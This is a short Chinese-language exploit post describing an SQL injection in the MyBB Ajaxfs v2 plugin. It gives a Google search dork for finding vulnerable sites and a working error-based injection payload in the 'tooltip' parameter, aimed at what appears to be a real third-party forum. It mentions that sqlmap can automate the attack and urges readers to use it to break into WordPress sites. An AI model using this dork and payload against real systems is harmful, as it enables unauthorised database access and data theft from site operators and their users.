MyBB Ajaxfs v2 插件注射

Author:CX.Strom
这是国外开源论坛10大模板之一。
google:inurl:ajaxfs.php?tooltip=
EXP

实例:
http://www.3enterfa.com/forum/ajaxfs.php?tooltip=211′ and(select 1 from(select count(*),concat((select (select (select table_name from information_schema.tables where table_schema=database() limit 72,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and ‘2’=’1
这样就可以了,我就不往下注射了,大牛们都懂的。sqlmap也是可以跑出来的。
影响网站不是太多,
不过我看国外有不少wordpress和这个模板搭配。
大牛们以后日wordpress又多了一种方法呢~!
小菜文章,大牛脚下留情!

原文链接:,转发请注明来源!

发表评论

要发表评论,您必须先登录